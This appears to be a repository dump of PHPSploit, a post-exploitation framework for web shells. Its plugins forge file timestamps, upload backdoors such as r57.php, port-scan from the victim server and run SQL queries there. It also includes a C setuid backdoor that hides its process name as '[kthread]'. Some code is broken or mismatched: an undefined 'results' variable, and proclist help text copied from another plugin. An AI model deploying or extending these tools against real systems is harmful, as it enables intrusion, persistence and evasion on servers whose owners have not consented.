[IMMUTABLE]"; 51 | 52 | if (extension_loaded("posix")) 53 | { 54 | $tmp = posix_getpwuid($r["uid"]); 55 | $r["posix_pwuid"] = $tmp["name"]; 56 | $tmp = posix_getgrgid($r["gid"]); 57 | $r["posix_grgid"] = $tmp["name"]; 58 | } 59 | 60 | return $r; 61 | 62 | ?> 63 | -------------------------------------------------------------------------------- /plugins/file_system/stat/plugin.py: -------------------------------------------------------------------------------- 1 | """Display file status 2 | 3 | SYNOPSIS: 4 | stat [-L] 5 | 6 | OPTIONS: 7 | -L 8 | follow symbolic links 9 | 10 | DESCRIPTION: 11 | Get remote file status informations 12 | 13 | AUTHOR: 14 | nil0x42 15 | """ 16 | 17 | import sys 18 | import stat 19 | 20 | from api import plugin 21 | from api import server 22 | from api import environ 23 | 24 | from ui.color import colorize 25 | from datatypes import ByteSize 26 | 27 | 28 | def println(name, content): 29 | print(colorize("%Bold", "{:>15}: ".format(name)) + str(content)) 30 | 31 | 32 | def device_repr(devno): 33 | return hex(devno)[2:] + 'h/' + str(devno) + 'd' 34 | 35 | 36 | def mode_perms(mode): 37 | octal = oct(stat.S_IMODE(mode))[2:].zfill(4) 38 | literal = stat.filemode(mode) 39 | return "%s (%s)" % (octal, literal) 40 | 41 | 42 | def mode_filetype(mode): 43 | mode = stat.S_IFMT(mode) 44 | dic = { 45 | stat.S_ISFIFO: "fifo file", 46 | stat.S_ISCHR: "character device", 47 | stat.S_ISDIR: "directory", 48 | stat.S_ISBLK: "block device", 49 | stat.S_ISREG: "regular file", 50 | stat.S_ISLNK: "symbolic link", 51 | stat.S_ISSOCK: "socket", 52 | stat.S_ISDOOR: "door", 53 | } 54 | for test_func, name in dic.items(): 55 | if test_func(mode): 56 | return name 57 | return "???" 58 | 59 | 60 | def is_device(mode): 61 | mode = stat.S_IFMT(mode) 62 | return stat.S_ISCHR(mode) or stat.S_ISBLK(mode) 63 | 64 | 65 | def dev_name(rdev): 66 | major = ((rdev >> 8) & 0xfff) | ((rdev >> 32) & ~0xfff) 67 | minor = (rdev & 0xff) | ((rdev >> 12) & ~0xff) 68 | return "%s,%s" % (major, minor) 69 | 70 | 71 | if len(plugin.argv) == 2: 72 | follow_links = False 73 | relative_path = plugin.argv[1] 74 | elif len(plugin.argv) == 3 and plugin.argv[1] == '-L': 75 | follow_links = True 76 | relative_path = plugin.argv[2] 77 | else: 78 | sys.exit(plugin.help) 79 | 80 | absolute_path = server.path.abspath(relative_path) 81 | # FIX: diferenciate /bin/ from /bin for interpreting symlinks on linux 82 | if not environ['PLATFORM'].startswith("win"): 83 | if not absolute_path.endswith("/") and relative_path.endswith("/"): 84 | absolute_path += "/" 85 | 86 | payload = server.payload.Payload("payload.php") 87 | payload['FILE'] = absolute_path 88 | payload['FOLLOW_LINKS'] = follow_links 89 | 90 | r = payload.send() 91 | 92 | println("File Name", r["file_repr"]) 93 | 94 | println("File Size", ByteSize(r["size"])) 95 | 96 | if r["blocks"] != -1: 97 | println("Blocks of 512b", r["blocks"]) 98 | 99 | if r["blksize"] != -1: 100 | println("I/O Block Size", r["blksize"]) 101 | 102 | println("File Type", mode_filetype(r["mode"])) 103 | 104 | if r["ino"] != 0: 105 | println("Inode Number", r["ino"]) 106 | 107 | println("Number of Links", r["nlink"]) 108 | 109 | println("Device", r["dev"]) 110 | 111 | if is_device(r["mode"]): 112 | println("Device Name", dev_name(r["rdev"])) 113 | 114 | if "posix_pwuid" in r.keys(): 115 | println("Access Mode", mode_perms(r["mode"])) 116 | println("UID Owner", "%d (%s)" % (r["uid"], r["posix_pwuid"])) 117 | println("GID Owner", "%d (%s)" % (r["gid"], r["posix_grgid"])) 118 | 119 | 120 | println("Readable", r["readable"]) 121 | println("Writable", r["writable"]) 122 | 123 | println("Accessed", r["atime"]) 124 | println("Modified", r["mtime"]) 125 | println("Changed", r["ctime"]) 126 | -------------------------------------------------------------------------------- /plugins/file_system/touch/payload.php: -------------------------------------------------------------------------------- 1 | 25 | -------------------------------------------------------------------------------- /plugins/file_system/touch/plugin.py: -------------------------------------------------------------------------------- 1 | """Change file timestamps 2 | 3 | SYNOPSIS: 4 | touch [OPTION]... 5 | 6 | OPTIONS: 7 | -t 8 | use YYYY[-mm[-dd[ HH[:MM[:SS]]]]] instead of current time 9 | NOTE: If partially defined (e.g: yyyy/mm only), other 10 | values will be randomly chosen, because random values 11 | are always less suspicious than 00:00:00 12 | -r 13 | use this remote file's times instead of current time 14 | 15 | DESCRIPTION: 16 | Update the access and modification times of REMOTE-FILE 17 | to the current time. 18 | 19 | If REMOTE-FILE does not exist, it is created empty. 20 | 21 | EXAMPLES: 22 | > touch file.txt 23 | - Set file atime/mtime to current time 24 | > touch -t '2012/12/21 23:59:59' file.txt 25 | - Set file atime/mtime to Dec 21 23:59:59 2012 26 | > touch -t '2015' file.txt 27 | - Set file atime/mtime to a random date in 2015 28 | > touch -r old.php new.php 29 | - Set `new.php`'s times to same values as `old.php` 30 | 31 | AUTHOR: 32 | nil0x42 33 | """ 34 | 35 | import sys 36 | 37 | import utils 38 | 39 | from api import plugin 40 | from api import server 41 | 42 | timestamp = None 43 | reference = None 44 | 45 | if len(plugin.argv) == 2: 46 | relative_path = plugin.argv[1] 47 | elif len(plugin.argv) == 4 and plugin.argv[1] == '-t': 48 | timestamp = utils.time.get_smart_date(plugin.argv[2]) 49 | relative_path = plugin.argv[3] 50 | elif len(plugin.argv) == 4 and plugin.argv[1] == '-r': 51 | reference = server.path.abspath(plugin.argv[2]) 52 | relative_path = plugin.argv[3] 53 | else: 54 | sys.exit(plugin.help) 55 | 56 | absolute_path = server.path.abspath(relative_path) 57 | 58 | payload = server.payload.Payload("payload.php") 59 | payload['FILE'] = absolute_path 60 | payload['TIME'] = timestamp 61 | payload['REF'] = reference 62 | 63 | response = payload.send() 64 | assert response == 'OK' 65 | -------------------------------------------------------------------------------- /plugins/file_system/upload/payload.php: -------------------------------------------------------------------------------- 1 | 42 | -------------------------------------------------------------------------------- /plugins/file_system/upload/plugin.py: -------------------------------------------------------------------------------- 1 | """Upload a file 2 | 3 | SYNOPSIS: 4 | upload [-f] [] 5 | 6 | OPTIONS: 7 | -f Overwrite destination without confirmation if it 8 | already exists. 9 | 10 | DESCRIPTION: 11 | Upload a local file to the remote server. 12 | - LOCAL-FILE must be readable. 13 | - REMOTE-DESTINATION must be a writable file or directory. 14 | - If REMOTE-DESTINATION is a directory, LOCAL-FILE will be 15 | uploaded into it, preserving original file name. 16 | - If REMOTE-DESTINATION is not provided, LOCAL-FILE is uploaded 17 | to remote current working directory (which can be known with 18 | the `pwd` command). 19 | - Unless '-f' option has been provided, user confirmation is 20 | needed to overwrite REMOTE-DESTINATION (if it already exists). 21 | NOTE: If the user confirms REMOTE-DESTINATION overwrite, 22 | another HTTP request will be sent to upload the file. 23 | 24 | LIMITATIONS: 25 | Recursive directory and multiple file uploads are not available. 26 | 27 | EXAMPLES: 28 | > upload /data/backdoors/r75.php /var/www/images/ 29 | - Upload your local r57.php file to the remote images dir 30 | > upload -f /tmp/logo-gimped.png /srv/www/img/logo.png 31 | - Overwrite the remote logo with your own without confirm 32 | > upload C:\\Users\\blackhat\\index.php 33 | - Upload your index.php to the remote server's current 34 | working directory. If your location is a web root path 35 | which already contains an index.php, then you must 36 | answer to the confirmation request. 37 | 38 | AUTHOR: 39 | nil0x42 40 | """ 41 | 42 | import sys 43 | import os 44 | import base64 45 | 46 | import utils 47 | import ui.input 48 | 49 | from api import plugin 50 | from api import server 51 | 52 | # parse arguments 53 | if not 2 <= len(plugin.argv) <= 4: 54 | sys.exit(plugin.help) 55 | 56 | if plugin.argv[1] == "-f": 57 | force = True 58 | arg1 = 2 59 | arg2 = 3 60 | arglen = len(plugin.argv) - 1 61 | else: 62 | force = False 63 | arg1 = 1 64 | arg2 = 2 65 | arglen = len(plugin.argv) 66 | 67 | if arglen == 3: 68 | relpath = plugin.argv[arg2] 69 | else: 70 | relpath = server.path.getcwd() 71 | abspath = server.path.abspath(relpath) 72 | 73 | local_relpath = plugin.argv[arg1] 74 | local_abspath = utils.path.truepath(local_relpath) 75 | local_basename = os.path.basename(local_abspath) 76 | 77 | # check for errors 78 | if not os.path.exists(local_abspath): 79 | sys.exit("Can't upload %s: No such file or directory" % local_abspath) 80 | 81 | if not os.path.isfile(local_abspath): 82 | sys.exit("Can't upload %s: Not a file" % local_abspath) 83 | 84 | try: 85 | data = open(local_abspath, 'rb').read() 86 | except OSError as e: 87 | sys.exit("Can't upload %s: %s" % (e.filename, e.strerror)) 88 | 89 | # send the payload (twice if needed) 90 | payload = server.payload.Payload("payload.php") 91 | payload['TARGET'] = abspath 92 | payload['NAME'] = local_basename 93 | payload['DATA'] = base64.b64encode(data) 94 | payload['FORCE'] = force 95 | 96 | for iteration in [1, 2]: 97 | if iteration == 2: 98 | payload['FORCE'] = True 99 | 100 | status, uploaded_file = payload.send() 101 | 102 | if status == 'KO': 103 | question = "Remote destination %s already exists, overwrite it ?" 104 | if ui.input.Expect(False)(question % uploaded_file): 105 | sys.exit("File transfer aborted") 106 | else: 107 | continue 108 | 109 | print("[*] Upload complete: %s -> %s" % (local_abspath, uploaded_file)) 110 | sys.exit(0) 111 | -------------------------------------------------------------------------------- /plugins/network/bannergrab/payload.php: -------------------------------------------------------------------------------- 1 | $timeout, 'usec'=>0)); 13 | socket_set_option($sock, SOL_SOCKET, SO_SNDTIMEO, array('sec'=>$timeout, 'usec'=>0)); 14 | if (@socket_connect($sock, $IP, $port)) { 15 | socket_recv($sock, $buffer, 1024, 0); 16 | $results[] = array($port, "OPEN", $buffer); 17 | } else { 18 | $results[] = array($port, "CLOSED", ""); 19 | } 20 | socket_close($sock); 21 | } 22 | print_r(json_encode($results)); 23 | return $result; 24 | ?> 25 | -------------------------------------------------------------------------------- /plugins/network/bannergrab/plugin.py: -------------------------------------------------------------------------------- 1 | """TCP Banner Grabber 2 | 3 | SYNOPSIS: 4 | bannergrab
[-p ] [-t ] 5 | -p single or range of port(s) to connect to 6 | * single : -p port 7 | * range : -p min-max 8 | -t socket timeout 9 | 10 | DESCRIPTION: 11 | Connect to a single port or range of ports and grab the 12 | application banner 13 | 14 | EXAMPLES: 15 | > bannergrab 192.168.1.10 16 | - find TCP banners from port 20 to 10000 17 | > bannergrab 192.168.1.10 -p 50 18 | - find TCP banners on port 50 19 | > bannergrab 192.168.1.10 -p 50-100 20 | - find TCP banners from ports 50 to 100 21 | > bannergrab 192.168.1.10 -t 0.5 22 | - connect with 0.5 second timeout per socket 23 | 24 | AUTHOR: 25 | Jose 26 | """ 27 | 28 | import sys 29 | 30 | from api import plugin 31 | from api import server 32 | 33 | from ui.color import colorize 34 | import plugin_args 35 | 36 | if len(plugin.argv) < 2: 37 | sys.exit(plugin.help) 38 | 39 | opt = plugin_args.parse(plugin.argv[1:]) 40 | 41 | # Send payload 42 | payload = server.payload.Payload("payload.php") 43 | payload['IP'] = opt['address'] 44 | payload['PORT_MIN'] = opt['port'][0] 45 | payload['PORT_MAX'] = opt['port'][1] 46 | payload['TIMEOUT'] = opt['timeout'] 47 | 48 | result = payload.send() 49 | 50 | # unshuffle port list 51 | result.sort(key=lambda x: x[0]) 52 | 53 | 54 | fmt = "%4s %7s %s" 55 | print(fmt % ("PORT", "STATE", "INFORMATION")) 56 | print(fmt % ("----", "-----", "-----------")) 57 | for port, state, banner in results: 58 | if state == "OPEN": 59 | state = colorize("%Green", "open") 60 | else: 61 | state = colorize("%Red", "closed") 62 | print(fmt % (port, state, banner)) 63 | -------------------------------------------------------------------------------- /plugins/network/bannergrab/plugin_args.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import sys 3 | import ui.output 4 | 5 | 6 | def help_format_bannergrab(prog): 7 | kwargs = dict() 8 | kwargs['width'] = ui.output.columns() 9 | kwargs['max_help_position'] = 34 10 | format = argparse.HelpFormatter(prog, **kwargs) 11 | return (format) 12 | 13 | def parse(args): 14 | parser = argparse.ArgumentParser(prog="scan", add_help=False, usage=argparse.SUPPRESS) 15 | parser.formatter_class = help_format_bannergrab 16 | parser.add_argument('-p', '--port', 17 | metavar="", default='20-10000') 18 | parser.add_argument('-t', '--timeout', type=float, 19 | metavar="", default=0.2) 20 | parser.add_argument('address') 21 | options = vars(parser.parse_args(args)) 22 | options['port'] = parse_port(options['port']) 23 | 24 | return options 25 | 26 | def parse_port(input): 27 | if input.count('-') == 1: 28 | data = input.split('-') 29 | else: 30 | data = [input, input] 31 | 32 | try: 33 | data = [int(x) for x in data] 34 | except ValueError: 35 | sys.exit("Illegal port specifications") 36 | 37 | if min(data) < 0 or max(data) > 65535: 38 | sys.exit("Ports specified must be between 0 and 65535 inclusive") 39 | if data[0] > data[1]: 40 | sys.exit("Your port range %d-%d is backwards. Did you mean %d-%d?" 41 | % (data[0], data[1], data[1], data[0])) 42 | 43 | return data 44 | -------------------------------------------------------------------------------- /plugins/network/portscan/plugin.py: -------------------------------------------------------------------------------- 1 | """TCP port scanner 2 | 3 | SYNOPSIS: 4 | portscan [-p ] [-t ] 5 | 6 | OPTIONS: 7 | -p 8 | single or range of port(s) to scan 9 | (defaults to 20-10000) 10 | -t 11 | socket timeout (in seconds) 12 | (defaults to 0.2) 13 | 14 | DESCRIPTION: 15 | Scan a single port or range of ports on HOST 16 | 17 | EXAMPLES: 18 | > portscan 192.168.1.10 19 | - scan default ports 20 | > portscan 192.168.1.10 -p 50 21 | - find if port 50 is open 22 | > portscan 192.168.1.10 -p 50-100 23 | - find if ports 50 to 100 are open 24 | > portscan 192.168.1.10 -t 0.5 25 | - scan with 0.5 second timeout per socket 26 | 27 | AUTHOR: 28 | Shiney 29 | """ 30 | 31 | import sys 32 | import os 33 | import json 34 | 35 | from api import plugin 36 | from api import server 37 | 38 | from ui.color import colorize 39 | import plugin_args 40 | 41 | if len(plugin.argv) < 2: 42 | sys.exit(plugin.help) 43 | 44 | opt = plugin_args.parse(plugin.argv[1:]) 45 | 46 | # Send payload 47 | payload = server.payload.Payload("scanner.php") 48 | payload['IP'] = opt['address'] 49 | payload['PORT_MIN'] = opt['port'][0] 50 | payload['PORT_MAX'] = opt['port'][1] 51 | payload['TIMEOUT'] = opt['timeout'] 52 | 53 | result = payload.send() 54 | 55 | # unshuffle port list 56 | result.sort(key=lambda x: x[0]) 57 | 58 | # Load port -> service database 59 | with open(os.path.join(plugin.path, "ports.json")) as database_ports: 60 | known_services = json.load(database_ports) 61 | 62 | # don't display most common error if frequent (nmap flavour) 63 | main_err = [None, None] 64 | errors = [tuple(x[1:]) for x in result if len(x) == 3] 65 | if len(errors) > max(20, len(result) / 2): 66 | main_err = max(set(errors), key=errors.count) 67 | main_err_count = errors.count(main_err) 68 | if main_err_count == len(result): 69 | print("All %d scanned ports failed with error %d: %s\n" 70 | % (main_err_count, main_err[0], main_err[1])) 71 | sys.exit(0) 72 | print("Not shown: %d (%s)\n" % (main_err_count, main_err[1])) 73 | 74 | # display each port with information 75 | print("PORT INFORMATION") 76 | print("---- -----------") 77 | for elem in result: 78 | port_num = str(elem[0]) 79 | info = "" 80 | if len(elem) == 1: 81 | info = colorize("%Green", "open") 82 | if port_num in known_services.keys(): 83 | info += " (%s)" % known_services[port_num] 84 | elif len(elem) == 3 and elem[1] != main_err[0]: 85 | info = colorize("%Red", elem[2]) 86 | if info: 87 | print("{:<5} {}".format(port_num, info)) 88 | -------------------------------------------------------------------------------- /plugins/network/portscan/plugin_args.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import sys 3 | from api import plugin 4 | import ui.output 5 | 6 | 7 | def help_format_network_scan(prog): 8 | kwargs = dict() 9 | kwargs['width'] = ui.output.columns() 10 | kwargs['max_help_position'] = 34 11 | format = argparse.HelpFormatter(prog, **kwargs) 12 | return (format) 13 | 14 | 15 | def parse(args): 16 | parser = argparse.ArgumentParser(prog="scan", add_help=False, usage=argparse.SUPPRESS) 17 | parser.formatter_class = help_format_network_scan 18 | parser.add_argument('-p', '--port', 19 | metavar="", default='20-10000') 20 | parser.add_argument('-t', '--timeout', type=float, 21 | metavar="", default=0.2) 22 | parser.add_argument('address') 23 | options = vars(parser.parse_args(args)) 24 | options['port'] = parse_port(options['port']) 25 | 26 | return options 27 | 28 | def parse_port(input): 29 | if input.count('-') == 1: 30 | data = input.split('-') 31 | else: 32 | data = [input, input] 33 | 34 | try: 35 | data = [int(x) for x in data] 36 | except: 37 | sys.exit("Illegal port specifications") 38 | 39 | if min(data) < 0 or max(data) > 65535: 40 | sys.exit("Ports specified must be between 0 and 65535 inclusive") 41 | if data[0] > data[1]: 42 | sys.exit("Your port range %d-%d is backwards. Did you mean %d-%d?" 43 | % (data[0], data[1], data[1], data[0])) 44 | 45 | return data 46 | -------------------------------------------------------------------------------- /plugins/network/portscan/scanner.php: -------------------------------------------------------------------------------- 1 | 27 | -------------------------------------------------------------------------------- /plugins/sql/mssql/connect.php: -------------------------------------------------------------------------------- 1 | 18 | -------------------------------------------------------------------------------- /plugins/sql/mssql/payload.php: -------------------------------------------------------------------------------- 1 | 49 | -------------------------------------------------------------------------------- /plugins/sql/mssql/setdb.php: -------------------------------------------------------------------------------- 1 | 25 | -------------------------------------------------------------------------------- /plugins/sql/mysql/connect.php: -------------------------------------------------------------------------------- 1 | 21 | -------------------------------------------------------------------------------- /plugins/sql/mysql/payload.php: -------------------------------------------------------------------------------- 1 | 51 | -------------------------------------------------------------------------------- /plugins/sql/mysql/setdb.php: -------------------------------------------------------------------------------- 1 | 27 | -------------------------------------------------------------------------------- /plugins/sql/oracle/connect.php: -------------------------------------------------------------------------------- 1 | = 1.1.0 required"); 5 | 6 | $user = $PHPSPLOIT["USER"]; 7 | $pass = $PHPSPLOIT["PASS"]; 8 | $connstr = $PHPSPLOIT["CONNSTR"]; 9 | $charset = $PHPSPLOIT["CHARSET"]; 10 | 11 | if ($charset) 12 | $conn = @ocilogon($user, $pass, $connstr, $charset); 13 | else 14 | $conn = @ocilogon($user, $pass, $connstr); 15 | 16 | if ($conn === False) 17 | { 18 | $err = @oci_error(); 19 | return error("ERROR: %s: %s", $err["code"], $err["message"]); 20 | } 21 | 22 | return "OK"; 23 | 24 | ?> 25 | -------------------------------------------------------------------------------- /plugins/sql/oracle/payload.php: -------------------------------------------------------------------------------- 1 | = 1.1.0 required"); 5 | 6 | // Establish connection (for deprecated ORACLE_CRED) 7 | function oracle_login($info, $connector, $serv_type) 8 | { 9 | $conn_str = '( DESCRIPTION = 10 | ( ADDRESS = 11 | ( PROTOCOL = TCP ) 12 | ( HOST = ' . $info["HOST"] . ') 13 | ( PORT = ' . $info["PORT"] . ') ) 14 | ( CONNECT_DATA = 15 | ( ' . $connector . ' = ' . $info["CONNECTOR"] . ') 16 | ( SERVER = ' . $serv_type . ') ) )'; 17 | $c = @ocilogon($info["USER"], $info["PASS"], $conn_str); 18 | return ($c); 19 | } 20 | 21 | # DEFAULT CONNECT 22 | if (isset($PHPSPLOIT['CONNSTR'])) 23 | { 24 | $user = $PHPSPLOIT["USER"]; 25 | $pass = $PHPSPLOIT["PASS"]; 26 | $connstr = $PHPSPLOIT["CONNSTR"]; 27 | $charset = $PHPSPLOIT["CHARSET"]; 28 | 29 | if ($charset) 30 | $conn = @ocilogon($user, $pass, $connstr, $charset); 31 | else 32 | $conn = @ocilogon($user, $pass, $connstr); 33 | } 34 | # DEPRECATED CONNECT 35 | else 36 | { 37 | $conn = False; 38 | if ($conn === False) 39 | $conn = oracle_login($PHPSPLOIT, "SERVICE_NAME", "POOLED"); 40 | if ($conn === False) 41 | $conn = oracle_login($PHPSPLOIT, "SERVICE_NAME", "DEDICATED"); 42 | if ($conn === False) 43 | $conn = oracle_login($PHPSPLOIT, "SID", "POOLED"); 44 | if ($conn === False) 45 | $conn = oracle_login($PHPSPLOIT, "SID", "DEDICATED"); 46 | } 47 | 48 | if ($conn === False) 49 | { 50 | $err = @oci_error(); 51 | return error("ERROR: ocilogon(): %s", $err["message"]); 52 | } 53 | 54 | // Send query 55 | $query = @ociparse($conn, $PHPSPLOIT['QUERY']); 56 | if (!$query) 57 | { 58 | $err = @oci_error(); 59 | return error("ERROR: ociparse(): %s", $err["message"]); 60 | } 61 | $statement_type = @ocistatementtype($query); 62 | 63 | if (!ociexecute($query)) 64 | { 65 | $err = @oci_error($query); 66 | return error("ERROR: ociexecute(): %s", $err["message"]); 67 | } 68 | 69 | if ($statement_type == "SELECT") 70 | { 71 | $result = array(); 72 | $obj = oci_fetch_array($query, OCI_ASSOC+OCI_RETURN_NULLS); 73 | $result[] = array_keys($obj); 74 | $result[] = array_values($obj); 75 | while ($line = oci_fetch_array($query, OCI_ASSOC+OCI_RETURN_NULLS)) 76 | $result[] = array_values($line); 77 | return array('GET', count($result) - 1, $result); 78 | } 79 | else 80 | { 81 | $rows = @ocirowcount($query); 82 | return array('SET', $rows); 83 | } 84 | 85 | ?> 86 | -------------------------------------------------------------------------------- /plugins/system/phpinfo/array_format.php: -------------------------------------------------------------------------------- 1 | (.*).*$#ms', 9 | '#

PHP License

.*$#ms', 10 | '#

Configuration

#', 11 | "#\r?\n#", 12 | "##", 13 | '# +<#', 14 | '#> +#', 15 | "#[ \t]+#", 16 | '# #', 17 | '# +#', 18 | '# class=".*?"#', 19 | '%'%', 20 | '#(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" />' 21 | .'

PHP Version (.*?)

(?:\n+?)#', 22 | '#

PHP Credits

#', 23 | '#(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)' 24 | .'Zend Engine (.*?),(?:.*?)#', 25 | "# +#", 26 | '##', 27 | '##', 28 | '#
#', 29 | '#Copyright#'), 30 | array('$1', 31 | '', 32 | '', 33 | "", 34 | ''."\n", 35 | ' <', 36 | '> ', 37 | ' ', 38 | ' ', 39 | ' ', 40 | '', 41 | ' ', 42 | '

PHP Configuration

'."\n".'PHP Version$2' 43 | .''."\n".'PHP Egg$1', 44 | 'PHP Credits Egg$1', 45 | 'Zend Engine$2'."\n" 46 | .'Zend Egg$1', 47 | ' ', 48 | '%S%', 49 | '%E%', 50 | ' ', 51 | ' Copyright'), 52 | ob_get_clean()); 53 | 54 | $sections = explode('

', strip_tags($pi, '

')); 55 | unset($sections[0]); 56 | 57 | $pi = array(); 58 | foreach($sections as $section) 59 | { 60 | $n = substr($section, 0, strpos($section, '

')); 61 | $regex = '#%S%(?:(.*?))?(?:(.*?)' . 62 | ')?(?:(.*?))?%E%#'; 63 | preg_match_all($regex, $section, $askapache, PREG_SET_ORDER); 64 | foreach($askapache as $m) 65 | { 66 | if (!isset($m[3]) || $m[2] == $m[3]) 67 | $pi[$n][$m[1]] = $m[2]; 68 | else 69 | $pi[$n][$m[1]] = array_slice($m, 2); 70 | } 71 | } 72 | 73 | return $pi; 74 | } 75 | 76 | return phpinfo_array(); 77 | 78 | ?> 79 | -------------------------------------------------------------------------------- /plugins/system/phpinfo/html_format.php: -------------------------------------------------------------------------------- 1 | 15 | -------------------------------------------------------------------------------- /plugins/system/proclist/payload.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /plugins/system/proclist/plugin.py: -------------------------------------------------------------------------------- 1 | """Get process list 2 | 3 | SYNOPSIS: 4 | proclist 5 | 6 | DESCRIPTION: 7 | List processes on remote server. 8 | * On WINDOWS, the plugin gets results from: 9 | 10 | * On LINUX, the following is used: 11 | 12 | (OPSEC-unsafe !) 13 | 14 | EXAMPLES: 15 | > cloudcredgrab 16 | - look for all cloud credentials in all user directories 17 | > cloudcredgrab -u www aws 18 | - look for AWS credentials in www's user files 19 | 20 | AUTHOR: 21 | Jose 22 | """ 23 | 24 | import sys 25 | 26 | from api import plugin 27 | from api import server 28 | 29 | import plugin_args 30 | 31 | if len(plugin.argv) != 1: 32 | sys.exit(plugin.help) 33 | 34 | # options are not used for the moment... 35 | opt = plugin_args.parse(plugin.argv[1:]) 36 | 37 | payload = server.payload.Payload("payload.php") 38 | 39 | result = payload.send() 40 | 41 | print("%5s %40s" % ("PID", "INFORMATION")) 42 | print("%5s %40s" % ("---", "-----------")) 43 | for elem in results: 44 | pid, info = elem.split(" ", 1) 45 | print("%5s %40s" % (pid, info.strip())) 46 | -------------------------------------------------------------------------------- /plugins/system/proclist/plugin_args.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import ui.output 3 | 4 | def help_format_proclist(prog): 5 | kwargs = dict() 6 | kwargs['width'] = ui.output.columns() 7 | kwargs['max_help_position'] = 34 8 | format = argparse.HelpFormatter(prog, **kwargs) 9 | return (format) 10 | 11 | def parse(args): 12 | parser = argparse.ArgumentParser(prog="scan", add_help=False, usage=argparse.SUPPRESS) 13 | options = vars(parser.parse_args(args)) 14 | return options 15 | 16 | -------------------------------------------------------------------------------- /plugins/system/run/payload.php: -------------------------------------------------------------------------------- 1 | 8 | -------------------------------------------------------------------------------- /plugins/system/suidroot/backdoor.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define BUF_SIZE 65536 6 | #define FAKE_CMD "[kthread]" 7 | 8 | int main(int argc, char **argv) 9 | { 10 | char buf[BUF_SIZE]; 11 | int i; 12 | 13 | // hide process name (from `ps -ef`, etc) 14 | i = strlen(argv[0]); 15 | memset(argv[0], 0, i); 16 | if (sizeof(FAKE_CMD) <= i) 17 | strcpy(argv[0], FAKE_CMD); 18 | 19 | // concat command list 20 | memset(buf, 0, BUF_SIZE); 21 | for (i=1; i 9 | -------------------------------------------------------------------------------- /plugins/system/whoami/plugin.py: -------------------------------------------------------------------------------- 1 | """Print effective userid 2 | 3 | SYNOPSIS: 4 | whoami 5 | 6 | DESCRIPTION: 7 | Print the user name associated with current remote 8 | server access rights. 9 | 10 | * PASSIVE PLUGIN: 11 | No requests are sent to server, as current user 12 | is known by $USER environment variable (`env USER`); 13 | 14 | AUTHOR: 15 | nil0x42 16 | """ 17 | 18 | from api import environ 19 | 20 | print(environ['USER']) 21 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | # vi: ft=conf 2 | ### mandatory dependencies 3 | ########################## 4 | 5 | # Needed to communicate between Python and PHP remote execution 6 | phpserialize==1.3 7 | 8 | # A dependency of `shnake`. Used to parse command-line input 9 | pyparsing==3.1.2 10 | 11 | # Needed by the PROXY setting to support socks4/5 proxy types 12 | PySocks==1.7.1 13 | # Needed since sockshandler.py (from Pysocks) maintenance has been stopped: 14 | # https://github.com/Anorov/PySocks/issues/134#issuecomment-1310323763 15 | ExtProxy==1.0.3 16 | 17 | ### optional dependencies 18 | ########################## 19 | 20 | # Enable php code syntax coloration 21 | pygments==2.17.2 22 | 23 | # # Enhanced python console for use with `corectl python-console` 24 | # bpython 25 | # 26 | # # Enhanced python console for use with `corectl python-console` 27 | # IPython 28 | 29 | -------------------------------------------------------------------------------- /src/__init__.py: -------------------------------------------------------------------------------- 1 | """Phpsploit framework core loader. 2 | 3 | This pseudo module is designed to be imported (import lib) from 4 | the phpsploit script launcher (./phpsploit). 5 | It also can be imported from phpsploit root directory through a 6 | python interpreter for debugging purposes. 7 | 8 | It loads the phpsploit core & overwrites sys.path's first element to 9 | the current directory (./lib/), making all self contained elements 10 | directly importable from python. 11 | 12 | """ 13 | import os 14 | import sys 15 | 16 | from . import utils 17 | 18 | BASEDIR = utils.path.truepath(sys.path[0]) + os.sep 19 | COREDIR = os.path.join(BASEDIR, __name__) + os.sep 20 | 21 | # use current directory as main python path 22 | sys.path[0] = COREDIR 23 | 24 | # add src/core/shnake-0.5/ to python path 25 | shnake_path = os.path.join(COREDIR, "shnake-0.5") + os.sep 26 | sys.path.insert(0, shnake_path) 27 | 28 | del sys, os, shnake_path # clean package's content 29 | -------------------------------------------------------------------------------- /src/api/__init__.py: -------------------------------------------------------------------------------- 1 | """Phpsploit plugin developer API 2 | 3 | This package includes the python-side plugin 4 | development API. 5 | 6 | CONTENTS: 7 | 8 | * plugin (type: api.plugin.Plugin()) 9 | Access running plugin attributes 10 | 11 | * environ (type: dict) 12 | Access phpsploit session's Environment Variables 13 | 14 | * server (type: package) 15 | Provides target server related operations. 16 | Modules: 17 | - path: Remote server pathname operations. 18 | - payload: Run a PHP payload on remote server. 19 | """ 20 | __all__ = ["plugin", "environ", "server"] 21 | 22 | from core import session 23 | 24 | # Define api.plugin (current plugin attributes) 25 | from .plugin import plugin 26 | 27 | # Import api.server package 28 | from . import server 29 | 30 | # Define api.environ dictionary (environment variables) 31 | environ = session.Env 32 | del session 33 | -------------------------------------------------------------------------------- /src/api/php-functions/can_change_mtime.php: -------------------------------------------------------------------------------- 1 | bool): 4 | // check if mtime can be arbitrarly changed 5 | 6 | function can_change_mtime($path) 7 | { 8 | $old_mtime = @filemtime($path); 9 | $old_atime = @fileatime($path); 10 | return @touch($path, $old_mtime, $old_atime); 11 | } 12 | 13 | ?> 14 | -------------------------------------------------------------------------------- /src/api/php-functions/dirAccess.php: -------------------------------------------------------------------------------- 1 | boolean): 4 | // Check if $abspath directory has $mode permission. 5 | // 6 | // $abspath (string): 7 | // This variable must refer to an exsting directory. 8 | // $mode (char): 9 | // Mode should be 'r' to test read access, and 'w' 10 | // to check write access. 11 | // 12 | // EXAMPLE: 13 | // >>> dirAccess("/etc/", 'r') 14 | // True 15 | // >>> dirAccess("/etc/", 'w') 16 | // False 17 | // 18 | // TODO: It will be smart if the function could restore atime 19 | // (access time) on unix systems after testing for stealth purposes. 20 | 21 | function dirAccess($abspath, $mode) 22 | { 23 | if ($mode == 'r') 24 | { 25 | if ($h = @opendir($abspath)) 26 | { 27 | closedir($h); 28 | return (True); 29 | } 30 | else 31 | return (False); 32 | } 33 | elseif ($mode == 'w' || $mode == 'a') 34 | { 35 | $old_mtime = @filemtime($abspath); 36 | $old_atime = @fileatime($abspath); 